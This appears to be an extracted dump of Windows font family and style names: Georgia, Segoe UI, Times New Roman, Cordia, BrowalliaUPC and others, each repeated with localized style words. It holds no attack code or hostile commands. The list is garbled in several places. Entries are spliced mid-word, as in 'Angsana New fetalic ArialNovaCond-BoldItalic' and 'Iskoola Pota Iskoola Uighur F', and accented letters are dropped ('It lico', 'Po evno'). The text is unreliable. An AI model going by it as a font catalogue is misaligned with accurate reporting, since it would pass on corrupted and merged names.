Georgia It lico Georgia Georgia Kurz Georgia Po evno Georgia talik Georgia-Italic Georgia Negreta Georgia tu Georgia fed Georgia Fett Georgia Georgia Bold Georgia Negrita Georgia Lodia Georgia Lihavoitu Georgia Gras Georgia F Georgia Grassetto Georgia Halvfet Georgia Vet Georgia Pogrubiony Georgia Negrito Georgia Georgia Tu Georgia Krepko Georgia Fet Georgia Kal Georgia-Bold Georgia Negreta cursiva Georgia tu kurz Georgia fed kursiv Georgia Fett Kursiv Georgia Georgia Bold Italic Georgia Negrita Cursiva Georgia Lodi etzana Georgia Lihavoitu Kursivoi Georgia Gras Italique Georgia F Georgia Grassetto Corsivo Georgia Halvfet Kursiv Georgia Vet Cursief Georgia Pogrubiona kursywa Georgia Negrito It lico Georgia Georgia Tu kurz Georgia Krepko po evno Georgia Fet Kursiv Georgia Kal talik Georgia-BoldItalic Impact Ink Free InkFree Javanese Text JavaneseText Java Leelawadee UI Semilight Leelawadee UI Semilight Normal Leelawadee UI Semilight oby Leelawadee UI Semilight normal Leelawadee UI Semilight Standard Leelawadee UI Semilight Leelawadee UI Semilight Leelawadee UI Semilight Arrunta Leelawadee UI Semilight Normaali Leelawadee UI Semilight Norm Leelawadee UI Semilight Normale Leelawadee UI Semilight Standaard Leelawadee UI Semilight Normalny Leelawadee UI Semilight Leelawadee UI Semilight Norm Leelawadee UI Semilight Navadno LeelawadeeUI-Semilight Thai Laoo Bugi Khmr LeelawadeeUI Leelawadee UI Negreta Leelawadee UI tu Leelawadee UI fed Leelawadee UI Fett Leelawadee UI Leelawadee UI Bold Leelawadee UI Negrita Leelawadee UI Lodia Leelawadee UI Lihavoitu Leelawadee UI Gras Leelawadee UI F Leelawadee UI Grassetto Leelawadee UI Halvfet Leelawadee UI Vet Leelawadee UI Pogrubiony Leelawadee UI Negrito Leelawadee UI Leelawadee UI Tu Leelawadee UI Krepko Leelawadee UI Fet Leelawadee UI Kal LeelawadeeUI-Bold Lucida Console LucidaConsole Lucida Sans Unicode LucidaSansUnicode Malgun Gothic ko-kr Malgun Gothic Semilight Semilight MalgunGothic-Semilight Hang Hani Kore Hira Jpan Kana Hrkt MalgunGothic Malgun Gothic Bold Bold MalgunGothicBold Microsoft Himalaya Tibt Microsoft JhengHei zh-hk zh-tw Microsoft JhengHei Light Light MicrosoftJhengHeiLight Bopo Hant Hanb MicrosoftJhengHeiRegular Microsoft JhengHei Negreta Microsoft JhengHei tu Microsoft JhengHei fed Microsoft JhengHei Fett Microsoft JhengHei Microsoft JhengHei Bold Microsoft JhengHei Negrita Microsoft JhengHei Lodia Microsoft JhengHei Lihavoitu Microsoft JhengHei Gras Microsoft JhengHei F Microsoft JhengHei Grassetto Microsoft JhengHei Halvfet Microsoft JhengHei Vet Microsoft JhengHei Pogrubiony Microsoft JhengHei Negrito Microsoft JhengHei Microsoft JhengHei Tu Microsoft JhengHei Krepko Microsoft JhengHei Fet Microsoft JhengHei Kal Bold MicrosoftJhengHeiBold Microsoft JhengHei UI Microsoft JhengHei UI Light MicrosoftJhengHeiUILight MicrosoftJhengHeiUIRegular Microsoft JhengHei UI Negreta Microsoft JhengHei UI tu Microsoft JhengHei UI fed Microsoft JhengHei UI Fett Microsoft JhengHei UI Microsoft JhengHei UI Bold Microsoft JhengHei UI Negrita Microsoft JhengHei UI Lodia Microsoft JhengHei UI Lihavoitu Microsoft JhengHei UI Gras Microsoft JhengHei UI F Microsoft JhengHei UI Grassetto Microsoft JhengHei UI Halvfet Microsoft JhengHei UI Vet Microsoft JhengHei UI Pogrubiony Microsoft JhengHei UI Negrito Microsoft JhengHei UI Microsoft JhengHei UI Tu Microsoft JhengHei UI Krepko Microsoft JhengHei UI Fet Microsoft JhengHei UI Kal MicrosoftJhengHeiUIBold Microsoft New Tai Lue MicrosoftNewTaiLue Talu Microsoft New Tai Lue Bold MicrosoftNewTaiLue-Bold Microsoft PhagsPa MicrosoftPhagsPa Phag Microsoft PhagsPa Bold MicrosoftPhagsPa-Bold Microsoft Sans Serif MicrosoftSansSerif Microsoft Tai Le MicrosoftTaiLe Tale Microsoft Tai Le Bold MicrosoftTaiLe-Bold Microsoft YaHei zh-cn Microsoft YaHei Light Light MicrosoftYaHeiLight Hans MicrosoftYaHei MicrosoftYaHeiRegular Microsoft YaHei Negreta Microsoft YaHei tu Microsoft YaHei fed Microsoft YaHei Fett Microsoft YaHei Microsoft YaHei Bold Microsoft YaHei Negrita Microsoft YaHei Lodia Microsoft YaHei Lihavoitu Microsoft YaHei Gras Microsoft YaHei F Microsoft YaHei Grassetto Microsoft YaHei Halvfet Microsoft YaHei Vet Microsoft YaHei Pogrubiony Microsoft YaHei Negrito Microsoft YaHei Microsoft YaHei Tu Microsoft YaHei Krepko Microsoft YaHei Fet Microsoft YaHei Kal Bold MicrosoftYaHei-Bold Microsoft YaHei UI Microsoft YaHei UI Light MicrosoftYaHeiUILight Microsoft Yahei UI MicrosoftYaHeiUI MicrosoftYaHeiUIRegular Microsoft YaHei UI Negreta Microsoft YaHei UI tu Microsoft YaHei UI fed Microsoft YaHei UI Fett Microsoft YaHei UI Microsoft YaHei UI Bold Microsoft YaHei UI Negrita Microsoft YaHei UI Lodia Microsoft YaHei UI Lihavoitu Microsoft YaHei UI Gras Microsoft YaHei UI F Microsoft YaHei UI Grassetto Microsoft YaHei UI Halvfet Microsoft YaHei UI Vet Microsoft YaHei UI Pogrubiony Microsoft YaHei UI Negrito Microsoft YaHei UI Microsoft YaHei UI Tu Microsoft YaHei UI Krepko Microsoft YaHei UI Fet Microsoft YaHei UI Kal Microsoft Yahei UI Bold MicrosoftYaHeiUI-Bold Microsoft Yi Baiti Microsoft-Yi-Baiti Yiii MingLiU-ExtB -ExtB Hant-HK PMingLiU-ExtB -ExtB MingLiU_HKSCS-ExtB _HKSCS-ExtB Ming-Lt-HKSCS-ExtB MingLiU_MSCS-ExtB _MSCS-ExtB Ming-Lt-MSCS-ExtB Mongolian Baiti MongolianBaiti Mong MS Gothic ja-jp MS-Gothic MS UI Gothic MS-UIGothic MS PGothic MS-PGothic MV Boli MVBoli Thaa Myanmar Text MyanmarText Mymr Myanmar Text Negreta Myanmar Text tu Myanmar Text fed Myanmar Text Fett Myanmar Text Myanmar Text Bold Myanmar Text Negrita Myanmar Text Lodia Myanmar Text Lihavoitu Myanmar Text Gras Myanmar Text F Myanmar Text Grassetto Myanmar Text Halvfet Myanmar Text Vet Myanmar Text Pogrubiony Myanmar Text Negrito Myanmar Text Myanmar Text Tu Myanmar Text Krepko Myanmar Text Fet Myanmar Text Kal MyanmarText-Bold Nirmala UI Nirmala UI Semilight NirmalaUI-Semilight Beng Cakm Deva Gujr Guru Knda Mlym Mtei Olck Orya Sinh Sora Taml Telu NirmalaUI Nirmala UI Negreta Nirmala UI tu Nirmala UI fed Nirmala UI Fett Nirmala UI Nirmala UI Bold Nirmala UI Negrita Nirmala UI Lodia Nirmala UI Lihavoitu Nirmala UI Gras Nirmala UI F Nirmala UI Grassetto Nirmala UI Halvfet Nirmala UI Vet Nirmala UI Pogrubiony Nirmala UI Negrito Nirmala UI Nirmala UI Tu Nirmala UI Krepko Nirmala UI Fet Nirmala UI Kal NirmalaUI-Bold Nirmala Text Nirmala Text Semilight NirmalaText-Semilight NirmalaText Nirmala Text Negreta Nirmala Text tu Nirmala Text fed Nirmala Text Fett Nirmala Text Nirmala Text Bold Nirmala Text Negrita Nirmala Text Lodia Nirmala Text Lihavoitu Nirmala Text Gras Nirmala Text F Nirmala Text Grassetto Nirmala Text Halvfet Nirmala Text Vet Nirmala Text Pogrubiony Nirmala Text Negrito Nirmala Text Nirmala Text Tu Nirmala Text Krepko Nirmala Text Fet Nirmala Text Kal NirmalaText-Bold Palatino Linotype PalatinoLinotype-Roman Palatino Linotype Cursiva Palatino Linotype kurz Palatino Linotype kursiv Palatino Linotype Kursiv Palatino Linotype Palatino Linotype Italic Palatino Linotype Etzana Palatino Linotype Kursivoitu Palatino Linotype Italique Palatino Linotype D Palatino Linotype Corsivo Palatino Linotype Cursief Palatino Linotype Kursywa Palatino Linotype It lico Palatino Linotype Palatino Linotype Kurz Palatino Linotype Po evno Palatino Linotype talik Palatino Linotype nghi PalatinoLinotype-Italic Palatino Linotype Negreta Palatino Linotype tu Palatino Linotype fed Palatino Linotype Fett Palatino Linotype Palatino Linotype Bold Palatino Linotype Negrita Palatino Linotype Lodia Palatino Linotype Lihavoitu Palatino Linotype Gras Palatino Linotype F Palatino Linotype Grassetto Palatino Linotype Halvfet Palatino Linotype Vet Palatino Linotype Pogrubiony Palatino Linotype Negrito Palatino Linotype Palatino Linotype Tu Palatino Linotype Krepko Palatino Linotype Fet Palatino Linotype Kal Palatino Linotype PalatinoLinotype-Bold Palatino Linotype Negreta cursiva Palatino Linotype tu kurz Palatino Linotype fed kursiv Palatino Linotype Fett Kursiv Palatino Linotype Palatino Linotype Bold Italic Palatino Linotype Negrita Cursiva Palatino Linotype Lodi etzana Palatino Linotype Lihavoitu Kursivoi Palatino Linotype Gras Italique Palatino Linotype F Palatino Linotype Grassetto Corsivo Palatino Linotype Halvfet Kursiv Palatino Linotype Vet Cursief Palatino Linotype Pogrubiona kursywa Palatino Linotype Negrito It lico Palatino Linotype Palatino Linotype Tu kurz Palatino Linotype Krepko po evno Palatino Linotype Fet Kursiv Palatino Linotype Kal talik Palatino Linotype nghi PalatinoLinotype-BoldItalic Sans Serif Collection SansSerifCollection Bali Buhd Cham Hano Kali Lepc Limb Linb Rjng Saur Shaw Sund Sylo Tagb Tglg Segoe Fluent Icons SegoeFluentIcons Segoe MDL2 Assets SegoeMDL2Assets Zsym Segoe Print SegoePrint Segoe Print Bold SegoePrint-Bold Segoe Script SegoeScript Segoe Script Negreta Segoe Script tu Segoe Script fed Segoe Script Fett Segoe Script Segoe Script Bold Segoe Script Negrita Segoe Script Lodia Segoe Script Lihavoitu Segoe Script Gras Segoe Script F Segoe Script Grassetto Segoe Script Halvfet Segoe Script Vet Segoe Script Pogrubiony Segoe Script Negrito Segoe Script Segoe Script Tu Segoe Script Krepko Segoe Script Fet Segoe Script Kal SegoeScript-Bold Segoe UI Segoe UI Light SegoeUI-Light Lisu Segoe UI Light Italic SegoeUI-LightItalic Segoe UI Semilight SegoeUI-Semilight Semilight Italic Segoe UI Semilight Italic SegoeUI-SemilightItalic SegoeUI Nghi Segoe UI Cursiva Segoe UI Kurz Segoe UI Kursiv Segoe UI Segoe UI Italic Segoe UI Etzana Segoe UI Kursivoitu Segoe UI Italique Segoe UI D Segoe UI Corsivo Segoe UI Cursief Segoe UI Kursywa Segoe UI It lico Segoe UI Segoe UI Po evno Segoe UI talik Segoe UI Nghi SegoeUI-Italic Semibold Segoe UI Semibold SegoeUI-Semibold Semibold Italic Segoe UI Semibold Italic SegoeUI-SemiboldItalic Segoe UI Negreta Segoe UI Tu Segoe UI Fed Segoe UI Fett Segoe UI Segoe UI Bold Segoe UI Negrita Segoe UI Lodia Segoe UI Lihavoitu Segoe UI Gras Segoe UI F Segoe UI Grassetto Segoe UI Halvfet Segoe UI Vet Segoe UI Pogrubiony Segoe UI Negrito Segoe UI Segoe UI Krepko Segoe UI Fet Segoe UI Kal Segoe UI SegoeUI-Bold Negreta Cursiva Kurz Fed Kursiv Lodi Etzana Pogrubiona Kursywa Kurz Krepko Po evno Nghi Segoe UI Negreta Cursiva Segoe UI Tu Kurz Segoe UI Fed Kursiv Segoe UI Fett Kursiv Segoe UI Segoe UI Bold Italic Segoe UI Negrita Cursiva Segoe UI Lodi Etzana Segoe UI Lihavoitu Kursivoi Segoe UI Gras Italique Segoe UI F Segoe UI Grassetto Corsivo Segoe UI Halvfet Kursiv Segoe UI Vet Cursief Segoe UI Pogrubiona Kursywa Segoe UI Negrito It lico Segoe UI Segoe UI Tu Kurz Segoe UI Krepko Po evno Segoe UI Fet Kursiv Segoe UI Kal talik Segoe UI Nghi SegoeUI-BoldItalic Segoe UI Black SegoeUIBlack Black Italic Segoe UI Black Italic SegoeUIBlack-Italic Segoe UI Emoji SegoeUIEmoji Zsye Segoe UI Historic SegoeUIHistoric Armi Brah Cari Cprt Egyp Glag Goth Ital Khar Lyci Lydi Merc Ogam Orkh Phli Phnx Prti Runr Sarb Syrc Ugar Xpeo Xsux Segoe UI Symbol SegoeUISymbol Brai Segoe UI Variable Small Segoe UI Variable Segoe UI Variable Small Light Segoe-UI-Variable-Small-Light Small Light Segoe UI Variable Small Semilight Segoe-UI-Variable-Small-Semilight Small Semilight Segoe-UI-Variable-Small Small Segoe UI Variable Small Semibold Segoe-UI-Variable-Small-Semibold Small Semibold Segoe UI Variable Small Bold Segoe-UI-Variable-Small-Bold Small Bold Segoe UI Variable Text Segoe UI Variable Text Light Segoe-UI-Variable-Text-Light Text Light Segoe UI Variable Text Semilight Segoe-UI-Variable-Text-Semilight Text Semilight Segoe-UI-Variable-Text Text Segoe UI Variable Text Semibold Segoe-UI-Variable-Text-Semibold Text Semibold Segoe UI Variable Text Bold Segoe-UI-Variable-Text-Bold Text Bold Segoe UI Variable Display Segoe UI Variable Display Light Segoe-UI-Variable-Display-Light Display Light Segoe UI Variable Display Semilight Segoe-UI-Variable-Display-Semilight Display Semilight Segoe-UI-Variable-Display Display Segoe UI Variable Display Semibold Segoe-UI-Variable-Display-Semibold Display Semibold Segoe UI Variable Display Bold Segoe-UI-Variable-Display-Bold Display Bold SimSun zh-sg NSimSun SimSun-ExtB Sitka Small Sitka Sitka-Small SitkaSmall Sitka Small Italic Sitka-Small-Italic Small Italic SitkaSmall-Italic Sitka Small Semibold Sitka-Small-Semibold Sitka Small Semibold Italic Sitka-Small-Semibold-Italic Small Semibold Italic Sitka Small Bold Sitka-Small-Bold SitkaSmall-Bold Sitka Small Bold Italic Sitka-Small-Bold-Italic Small Bold Italic SitkaSmall-BoldItalic Sitka Text Sitka-Text SitkaText Sitka Text Italic Sitka-Text-Italic Text Italic SitkaText-Italic Sitka Text Semibold Sitka-Text-Semibold Sitka Text Semibold Italic Sitka-Text-Semibold-Italic Text Semibold Italic Sitka Text Bold Sitka-Text-Bold SitkaText-Bold Sitka Text Bold Italic Sitka-Text-Bold-Italic Text Bold Italic SitkaText-BoldItalic Sitka Subheading Sitka-Subheading Subheading SitkaSubheading Sitka Subheading Italic Sitka-Subheading-Italic Subheading Italic SitkaSubheading-Italic Sitka Subheading Semibold Sitka-Subheading-Semibold Subheading Semibold Sitka Subheading Semibold Italic Sitka-Subheading-Semibold-Italic Subheading Semibold Italic Sitka Subheading Bold Sitka-Subheading-Bold Subheading Bold SitkaSubheading-Bold Sitka Subheading Bold Italic Sitka-Subheading-Bold-Italic Subheading Bold Italic SitkaSubheading-BoldItalic Sitka Heading Sitka-Heading Heading SitkaHeading Sitka Heading Italic Sitka-Heading-Italic Heading Italic SitkaHeading-Italic Sitka Heading Semibold Sitka-Heading-Semibold Heading Semibold Sitka Heading Semibold Italic Sitka-Heading-Semibold-Italic Heading Semibold Italic Sitka Heading Bold Sitka-Heading-Bold Heading Bold SitkaHeading-Bold Sitka Heading Bold Italic Sitka-Heading-Bold-Italic Heading Bold Italic SitkaHeading-BoldItalic Sitka Display Sitka-Display SitkaDisplay Sitka Display Italic Sitka-Display-Italic Display Italic SitkaDisplay-Italic Sitka Display Semibold Sitka-Display-Semibold Sitka Display Semibold Italic Sitka-Display-Semibold-Italic Display Semibold Italic Sitka Display Bold Sitka-Display-Bold SitkaDisplay-Bold Sitka Display Bold Italic Sitka-Display-Bold-Italic Display Bold Italic SitkaDisplay-BoldItalic Sitka Banner Sitka-Banner Banner SitkaBanner Sitka Banner Italic Sitka-Banner-Italic Banner Italic SitkaBanner-Italic Sitka Banner Semibold Sitka-Banner-Semibold Banner Semibold Sitka Banner Semibold Italic Sitka-Banner-Semibold-Italic Banner Semibold Italic Sitka Banner Bold Sitka-Banner-Bold Banner Bold SitkaBanner-Bold Sitka Banner Bold Italic Sitka-Banner-Bold-Italic Banner Bold Italic SitkaBanner-BoldItalic Sylfaen Symbol SymbolMT Tahoma Tahoma Negreta Tahoma tu Tahoma fed Tahoma Fett Tahoma Tahoma Bold Tahoma Negrita Tahoma Lodia Tahoma Lihavoitu Tahoma Gras Tahoma F Tahoma Grassetto Tahoma Halvfet Tahoma Vet Tahoma Pogrubiony Tahoma Negrito Tahoma Tahoma Tu Tahoma Krepko Tahoma Fet Tahoma Kal Tahoma Tahoma-Bold Times New Roman TimesNewRomanPSMT cursiva kursywa Times New Roman cursiva Times New Roman kurz Times New Roman kursiv Times New Roman Kursiv Times New Roman Times New Roman Italic Times New Roman Cursiva Times New Roman Etzana Times New Roman Kursivoitu Times New Roman Italique Times New Roman D Times New Roman Corsivo Times New Roman Cursief Times New Roman kursywa Times New Roman It lico Times New Roman Times New Roman Kurz Times New Roman Po evno Times New Roman talik Times New Roman nghi TimesNewRomanPS-ItalicMT Pogrubiona Times New Roman Negreta Times New Roman tu Times New Roman fed Times New Roman Fett Times New Roman Times New Roman Bold Times New Roman Negrita Times New Roman Lodia Times New Roman Lihavoitu Times New Roman Gras Times New Roman F Times New Roman Grassetto Times New Roman Halvfet Times New Roman Vet Times New Roman Pogrubiona Times New Roman Negrito Times New Roman Times New Roman Tu Times New Roman Krepko Times New Roman Fet Times New Roman Kal Times New Roman TimesNewRomanPS-BoldMT Times New Roman Negreta cursiva Times New Roman tu kurz Times New Roman fed kursiv Times New Roman Fett Kursiv Times New Roman Times New Roman Bold Italic Times New Roman Negrita Cursiva Times New Roman Lodi etzana Times New Roman Lihavoitu Kursivoi Times New Roman Gras Italique Times New Roman F Times New Roman Grassetto Corsivo Times New Roman Halvfet Kursiv Times New Roman Vet Cursief Times New Roman Pogrubiona kursywa Times New Roman Negrito It lico Times New Roman Times New Roman Tu kurz Times New Roman Krepko po evno Times New Roman Fet Kursiv Times New Roman Kal talik Times New Roman nghi TimesNewRomanPS-BoldItalicMT Trebuchet MS TrebuchetMS Trebuchet MS Cursiva Trebuchet MS kurz Trebuchet MS kursiv Trebuchet MS Kursiv Trebuchet MS Trebuchet MS Italic Trebuchet MS Etzana Trebuchet MS Kursivoitu Trebuchet MS Italique Trebuchet MS D Trebuchet MS Corsivo Trebuchet MS Cursief Trebuchet MS Kursywa Trebuchet MS It lico Trebuchet MS Trebuchet MS Kurz Trebuchet MS Po evno Trebuchet MS talik TrebuchetMS-Italic Trebuchet MS Negreta Trebuchet MS tu Trebuchet MS fed Trebuchet MS Fett Trebuchet MS Trebuchet MS Bold Trebuchet MS Negrita Trebuchet MS Lodia Trebuchet MS Lihavoitu Trebuchet MS Gras Trebuchet MS F Trebuchet MS Grassetto Trebuchet MS Halvfet Trebuchet MS Vet Trebuchet MS Pogrubiony Trebuchet MS Negrito Trebuchet MS Trebuchet MS Tu Trebuchet MS Krepko Trebuchet MS Fet Trebuchet MS Kal TrebuchetMS-Bold Trebuchet MS Negreta cursiva Trebuchet MS tu kurz Trebuchet MS fed kursiv Trebuchet MS Fett Kursiv Trebuchet MS Trebuchet MS Bold Italic Trebuchet MS Negrita Cursiva Trebuchet MS Lodi etzana Trebuchet MS Lihavoitu Kursivoi Trebuchet MS Gras Italique Trebuchet MS F Trebuchet MS Grassetto Corsivo Trebuchet MS Halvfet Kursiv Trebuchet MS Vet Cursief Trebuchet MS Pogrubiona kursywa Trebuchet MS Negrito It lico Trebuchet MS Trebuchet MS Tu kurz Trebuchet MS Krepko po evno Trebuchet MS Fet Kursiv Trebuchet MS Kal talik Trebuchet-BoldItalic Verdana Verdana Cursiva Verdana kurz Verdana kursiv Verdana Kursiv Verdana Verdana Italic Verdana Etzana Verdana Kursivoitu Verdana Italique Verdana D Verdana Corsivo Verdana Cursief Verdana Kursywa Verdana It lico Verdana Verdana Kurz Verdana Po evno Verdana talik Verdana-Italic Verdana Negreta Verdana tu Verdana fed Verdana Fett Verdana Verdana Bold Verdana Negrita Verdana Lodia Verdana Lihavoitu Verdana Gras Verdana F Verdana Grassetto Verdana Halvfet Verdana Vet Verdana Pogrubiony Verdana Negrito Verdana Verdana Tu Verdana Krepko Verdana Fet Verdana Kal Verdana-Bold Verdana Negreta cursiva Verdana tu kurz Verdana fed kursiv Verdana Fett Kursiv Verdana Verdana Bold Italic Verdana Negrita Cursiva Verdana Lodi etzana Verdana Lihavoitu Kursivoi Verdana Gras Italique Verdana F Verdana Grassetto Corsivo Verdana Halvfet Kursiv Verdana Vet Cursief Verdana Pogrubiona kursywa Verdana Negrito It lico Verdana Verdana Tu kurz Verdana Krepko po evno Verdana Fet Kursiv Verdana Kal talik Verdana-BoldItalic Webdings Wingdings Wingdings-Regular Yu Gothic Yu Gothic Light Light YuGothic-Light Yu Gothic Regular Regular YuGothic-Regular Yu Gothic Medium Medium YuGothic-Medium Yu Gothic Bold Bold YuGothic-Bold Yu Gothic UI Yu Gothic UI Light YuGothicUI-Light Yu Gothic UI Semilight YuGothicUI-Semilight Yu Gothic UI Regular YuGothicUI-Regular Yu Gothic UI Semibold YuGothicUI-Semibold Yu Gothic UI Bold YuGothicUI-Bold SimSun-ExtG Marlett Aldhabi Angsana New AngsanaNew Angsana New Cursiva Angsana New kurz Angsana New kursiv Angsana New Kursiv Angsana New Angsana New Italic Angsana New Etzana Angsana New Kursivoitu Angsana New Italique Angsana New D Angsana New Corsivo Angsana New Cursief Angsana New Kursywa Angsana New It lico Angsana New Angsana New Kurz Angsana New Po evno Angsana New talik AngsanaNew-Italic Angsana New Negreta Angsana New tu Angsana New fed Angsana New Fett Angsana New Angsana New Bold Angsana New Negrita Angsana New Lodia Angsana New Lihavoitu Angsana New Gras Angsana New F Angsana New Grassetto Angsana New Halvfet Angsana New Vet Angsana New Pogrubiony Angsana New Negrito Angsana New Angsana New Tu Angsana New Krepko Angsana New Fet Angsana New Kal AngsanaNew-Bold Angsana New Negreta cursiva Angsana New tu kurz Angsana New fetalic ArialNovaCond-BoldItalic Batang BatangChe Gungsuh GungsuhChe Browallia New BrowalliaNew Browallia New Cursiva Browallia New kurz Browallia New kursiv Browallia New Kursiv Browallia New Browallia New Italic Browallia New Etzana Browallia New Kursivoitu Browallia New Italique Browallia New D Browallia New Corsivo Browallia New Cursief Browallia New Kursywa Browallia New It lico Browallia New Browallia New Kurz Browallia New Po evno Browallia New talik BrowalliaNew-Italic Browallia New Negreta Browallia New tu Browallia New fed Browallia New Fett Browallia New Browallia New Bold Browallia New Negrita Browallia New Lodia Browallia New Lihavoitu Browallia New Gras Browallia New F Browallia New Grassetto Browallia New Halvfet Browallia New Vet Browallia New Pogrubiony Browallia New Negrito Browallia New Browallia New Tu Browallia New Krepko Browallia New Fet Browallia New Kal BrowalliaNew-Bold Browallia New Negreta cursiva Browallia New tu kurz Browallia New fed kursiv Browallia New Fett Kursiv Browallia New Browallia New Bold Italic Browallia New Negrita Cursiva Browallia New Lodi etzana Browallia New Lihavoitu Kursivoi Browallia New Gras Italique Browallia New F Browallia New Grassetto Corsivo Browallia New Halvfet Kursiv Browallia New Vet Cursief Browallia New Pogrubiona kursywa Browallia New Negrito It lico Browallia New Browallia New Tu kurz Browallia New Krepko po evno Browallia New Fet Kursiv Browallia New Kal talik BrowalliaNew-BoldItalic BrowalliaUPC BrowalliaUPC Cursiva BrowalliaUPC kurz BrowalliaUPC kursiv BrowalliaUPC Kursiv BrowalliaUPC BrowalliaUPC Italic BrowalliaUPC Etzana BrowalliaUPC Kursivoitu BrowalliaUPC Italique BrowalliaUPC D BrowalliaUPC Corsivo BrowalliaUPC Cursief BrowalliaUPC Kursywa BrowalliaUPC It lico BrowalliaUPC BrowalliaUPC Kurz BrowalliaUPC Po evno BrowalliaUPC talik BrowalliaUPC-Italic BrowalliaUPC Negreta BrowalliaUPC tu BrowalliaUPC fed BrowalliaUPC Fett BrowalliaUPC BrowalliaUPC Bold BrowalliaUPC Negrita BrowalliaUPC Lodia BrowalliaUPC Lihavoitu BrowalliaUPC Gras BrowalliaUPC F BrowalliaUPC Grassetto BrowalliaUPC Halvfet BrowalliaUPC Vet BrowalliaUPC Pogrubiony BrowalliaUPC Negrito BrowalliaUPC BrowalliaUPC Tu BrowalliaUPC Krepko BrowalliaUPC Fet BrowalliaUPC Kal BrowalliaUPC-Bold BrowalliaUPC Negreta cursiva BrowalliaUPC tu kurz BrowalliaUPC fed kursiv BrowalliaUPC Fett Kursiv BrowalliaUPC BrowalliaUPC Bold Italic BrowalliaUPC Negrita Cursiva BrowalliaUPC Lodi etzana BrowalliaUPC Lihavoitu Kursivoi BrowalliaUPC Gras Italique BrowalliaUPC F BrowalliaUPC Grassetto Corsivo BrowalliaUPC Halvfet Kursiv BrowalliaUPC Vet Cursief BrowalliaUPC Pogrubiona kursywa BrowalliaUPC Negrito It lico BrowalliaUPC BrowalliaUPC Tu kurz BrowalliaUPC Krepko po evno BrowalliaUPC Fet Kursiv BrowalliaUPC Kal talik BrowalliaUPC-BoldItalic Cordia New CordiaNew Cordia New Cursiva Cordia New kurz Cordia New kursiv Cordia New Kursiv Cordia New Cordia New Italic Cordia New Etzana Cordia New Kursivoitu Cordia New Italique Cordia New D Cordia New Corsivo Cordia New Cursief Cordia New Kursywa Cordia New It lico Cordia New Cordia New Kurz Cordia New Po evno Cordia New talik CordiaNew-Italic Cordia New Negreta Cordia New tu Cordia New fed Cordia New Fett Cordia New Cordia New Bold Cordia New Negrita Cordia New Lodia Cordia New Lihavoitu Cordia New Gras Cordia New F Cordia New Grassetto Cordia New Halvfet Cordia New Vet Cordia New Pogrubiony Cordia New Negrito Cordia New Cordia New Tu Cordia New Krepko Cordia New Fet Cordia New Kal CordiaNew-Bold Cordia New Negreta cursiva Cordia New tu kurz Cordia New fed kursiv Cordia New Fett Kursiv Cordia New Cordia New Bold Italic Cordia New Negrita Cursiva Cordia New Lodi etzana Cordia New Lihavoitu Kursivoi Cordia New Gras Italique Cordia New F Cordia New Grassetto Corsivo Cordia New Halvfet Kursiv Cordia New Vet Cursief Cordia New Pogrubiona kursywa Cordia New Negrito It lico Cordia New Cordia New Tu kurz Cordia New Krepko po evno Cordia New Fet Kursiv Cordia New Kal talik CordiaNew-BoldItalic CordiaUPC CordiaUPC Cursiva CordiaUPC kurz CordiaUPC kursiv CordiaUPC Kursiv CordiaUPC CordiaUPC Italic CordiaUPC Etzana CordiaUPC Kursivoitu CordiaUPC Italique CordiaUPC D CordiaUPC Corsivo CordiaUPC Cursief CordiaUPC Kursywa CordiaUPC It lico CordiaUPC CordiaUPC Kurz CordiaUPC Po evno CordiaUPC talik CordiaUPC-Italic CordiaUPC Negreta CordiaUPC tu CordiaUPC fed CordiaUPC Fett CordiaUPC CordiaUPC Bold CordiaUPC Negrita CordiaUPC Lodia CordiaUPC Lihavoitu CordiaUPC Gras CordiaUPC F CordiaUPC Grassetto CordiaUPC Halvfet CordiaUPC Vet CordiaUPC Pogrubiony CordiaUPC Negrito CordiaUPC CordiaUPC Tu CordiaUPC Krepko CordiaUPC Fet CordiaUPC Kal CordiaUPC-Bold CordiaUPC Negreta cursiva CordiaUPC tu kurz CordiaUPC fed kursiv CordiaUPC Fett Kursiv CordiaUPC CordiaUPC Bold Italic CordiaUPC Negrita Cursiva CordiaUPC Lodi etzana CordiaUPC Lihavoitu Kursivoi CordiaUPC Gras Italique CordiaUPC F CordiaUPC Grassetto Corsivo CordiaUPC Halvfet Kursiv CordiaUPC Vet Cursief CordiaUPC Pogrubiona kursywa CordiaUPC Negrito It lico Cordia Gill Sans Nova Cond XBd Italic GillSansNova-CondXBdItalic Ultra Bold Gill Sans Nova Ultra Bold GillSansNova-UltraBold Cond Ultra Bold Gill Sans Nova Cond Ultra Bold GillSansNova-CondUltraBold Gisha Gisha Negreta Gisha tu Gisha fed Gisha Fett Gisha Gisha Bold Gisha Negrita Gisha Lodia Gisha Lihavoitu Gisha Gras Gisha F Gisha Grassetto Gisha Halvfet Gisha Vet Gisha Pogrubiony Gisha Negrito Gisha Gisha Tu Gisha Krepko Gisha Fet Gisha Kal Gisha-Bold Gulim GulimChe Dotum DotumChe IrisUPC IrisUPC Cursiva IrisUPC kurz IrisUPC kursiv IrisUPC Kursiv IrisUPC IrisUPC Italic IrisUPC Etzana IrisUPC Kursivoitu IrisUPC Italique IrisUPC D IrisUPC Corsivo IrisUPC Cursief IrisUPC Kursywa IrisUPC It lico IrisUPC IrisUPC Kurz IrisUPC Po evno IrisUPC talik IrisUPCItalic IrisUPC Negreta IrisUPC tu IrisUPC fed IrisUPC Fett IrisUPC IrisUPC Bold IrisUPC Negrita IrisUPC Lodia IrisUPC Lihavoitu IrisUPC Gras IrisUPC F IrisUPC Grassetto IrisUPC Halvfet IrisUPC Vet IrisUPC Pogrubiony IrisUPC Negrito IrisUPC IrisUPC Tu IrisUPC Krepko IrisUPC Fet IrisUPC Kal IrisUPCBold IrisUPC Negreta cursiva IrisUPC tu kurz IrisUPC fed kursiv IrisUPC Fett Kursiv IrisUPC IrisUPC Bold Italic IrisUPC Negrita Cursiva IrisUPC Lodi etzana IrisUPC Lihavoitu Kursivoi IrisUPC Gras Italique IrisUPC F IrisUPC Grassetto Corsivo IrisUPC Halvfet Kursiv IrisUPC Vet Cursief IrisUPC Pogrubiona kursywa IrisUPC Negrito It lico IrisUPC IrisUPC Tu kurz IrisUPC Krepko po evno IrisUPC Fet Kursiv IrisUPC Kal talik IrisUPCBoldItalic Iskoola Pota IskoolaPota Iskoola Pota Negreta Iskoola Pota tu Iskoola Pota fed Iskoola Pota Fett Iskoola Pota Iskoola Uighur F Microsoft Uighur Grassetto Microsoft Uighur Halvfet Microsoft Uighur Vet Microsoft Uighur Pogrubiony Microsoft Uighur Negrito Microsoft Uighur Microsoft Uighur Tu Microsoft Uighur Krepko Microsoft Uighur Fet Microsoft Uighur Kal MicrosoftUighur-Bold 